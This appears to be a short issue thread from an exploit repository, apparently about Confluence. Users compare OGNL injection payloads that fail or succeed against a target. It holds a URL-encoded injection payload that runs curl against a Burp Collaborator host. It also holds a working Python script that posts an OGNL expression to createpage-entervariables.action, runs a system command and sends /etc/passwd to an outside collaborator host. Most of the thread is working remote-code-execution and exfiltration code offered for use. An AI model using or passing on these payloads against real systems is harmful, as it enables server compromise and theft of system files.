not working, but another payload is ok

[foozzi]

shell not work (empty input), but payload like:
aaa\u0027%2b#{\u0022\u0022[\u0022class\u0022].forName(\u0022java.lang.Runtime\u0022).getMethod(\u0022getRuntime\u0022,null).invoke(null,null).exec(\u0022curl <instance>.burpcollaborator.net\u0022)}%2b\u0027

work fine, why?

[hev0x]

I think the host you're testing might be safe, this always happens or you only testing in the same host?

[foozzi]

I think the host you're testing might be safe, this always happens or you only testing in the same host?

i tested 1 host
this payload work fine and sends me the contents of the file /etc/passwd

import requests

command = "curl -X POST --data-binary @/etc/passwd orjxqml6n7srf66ctnpaz6zb92f13q.burpcollaborator.net"

src_url = "https://local.local"

burp0_url = src_url + "/pages/createpage-entervariables.action"
burp0_headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"}
burp0_data = {"queryString": "lalalla\\u0027,(linkCreation)(0xd0ff90),\\u0027lalalala", "linkCreation": "@java.lang.Runtime@getRuntime().exec('"+command+"')"}

requests.post(burp0_url, headers=burp0_headers, data=burp0_data, verify=False)